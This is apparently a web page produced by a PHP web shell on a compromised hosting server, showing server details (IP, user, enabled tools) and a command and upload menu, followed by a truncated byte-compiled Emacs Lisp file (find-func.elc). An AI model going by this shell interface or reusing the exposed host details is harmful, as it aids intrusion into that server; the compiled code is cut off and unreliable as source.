Server IP : 111.118.215.189 / Your IP : 13.59.31.221 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/emacs/24.3/lisp/emacs-lisp/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
;ELC ;;; Compiled by mockbuild@buildfarm06-new.corp.cloudlinux.com on Fri Oct 11 10:09:03 2024 ;;; from file /builddir/build/BUILD/emacs-24.3/lisp/emacs-lisp/find-func.el ;;; in Emacs version 24.3.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (custom-declare-group 'find-function nil "Finds the definition of the Emacs Lisp symbol near point." :group 'lisp) (defconst find-function-space-re "\\(?:\\s-\\|\n\\|;.*\n\\)+") (byte-code "\300\301\302\303\304\305\306\307\310\311& \210\300\312\313\314\304\305\306\307\310\311& \210\300\315\316\317\304\305\306\307\310\320& \207" [custom-declare-variable find-function-regexp (concat "^\\s-*(\\(def\\(ine-skeleton\\|ine-generic-mode\\|ine-derived-mode\\|ine\\(?:-global\\)?-minor-mode\\|ine-compilation-mode\\|un-cvs-mode\\|foo\\|[^icfgv]\\(\\w\\|\\s_\\)+\\*?\\)\\|easy-mmode-define-[a-z-]+\\|easy-menu-define\\|menu-bar-make-toggle\\)" find-function-space-re "\\('\\|(quote \\)?%s\\(\\s-\\|$\\|(\\|)\\)") "The regexp used by `find-function' to search for a function definition.\nNote it must contain a `%s' at the place where `format'\nshould insert the function name. The default value avoids `defconst',\n`defgroup', `defvar', `defface'.\n\nPlease send improvements and fixes to the maintainer." :type regexp :group find-function :version "21.1" find-variable-regexp (concat "^\\s-*(\\(def[^fumag]\\(\\w\\|\\s_\\)+\\*?\\|easy-mmode-def\\(map\\|syntax\\)\\|easy-menu-define\\)" find-function-space-re "%s\\(\\s-\\|$\\)") "The regexp used by `find-variable' to search for a variable definition.\nNote it must contain a `%s' at the place where `format'\nshould insert the variable name. The default value\navoids `defun', `defmacro', `defalias', `defadvice', `defgroup', `defface'.\n\nPlease send improvements and fixes to the maintainer." find-face-regexp (concat "^\\s-*(defface" find-function-space-re "%s\\(\\s-\\|$\\)") "The regexp used by `find-face' to search for a face definition.\nNote it must contain a `%s' at the place where `format'\nshould insert the face name.\n\nPlease send improvements and fixes to the maintainer." "22.1"] 10) #@185 Alist mapping definition types into regexp variables. Each regexp variable's value should actually be a format string to be used to substitute the desired symbol name into the regexp. (defvar find-function-regexp-alist '((nil . find-function-regexp) (defvar . find-variable-regexp) (defface . find-face-regexp)) (#$ . 2413)) (byte-code "\300\301\302\303#\210\304\305\306\307\310\311\312\313&\210\304\314\315\316\310\317\312\313\320\321& \210\304\322\306\323\310\324\312\313\320\321& \207" [put find-function-regexp-alist risky-local-variable t custom-declare-variable find-function-source-path nil "The default list of directories where `find-function' searches.\n\nIf this variable is nil then `find-function' searches `load-path' by\ndefault." :type (repeat directory) :group find-function find-function-recenter-line 1 "The window line-number from which to start displaying a symbol definition.\nA value of nil implies center the beginning of the definition.\nSee `find-function' and `find-variable'." (choice (const :tag "Center" nil) integer) :version "20.3" find-function-after-hook "Hook run after finding symbol definition.\n\nSee the functions `find-function' and `find-variable'." hook] 10) (defalias 'find-library-suffixes #[nil "\303\304 \303\211\203 \n@\305\306 \"\204 B\nA\211\204 \303\237+\207" [suffixes suffix --dolist-tail-- nil get-load-suffixes string-match "elc"] 4]) (defalias 'find-library--load-name #[(library) "\n\306\211\203+ \f@\307\"\310\311 \"\204# G GW\203# )\fA\211\204\n * \232?\2054 )\207" [library name load-path dir --dolist-tail-- rel nil file-relative-name string-match "\\`\\.\\./"] 4]) #@122 Return the absolute file name of the Emacs Lisp source of LIBRARY. LIBRARY should be a string (the name of the library). (defalias 'find-library-name #[(library) "\305\306\"\203 \307\310\311\211$\312 \206 \n\313 #\206S \312 \206\"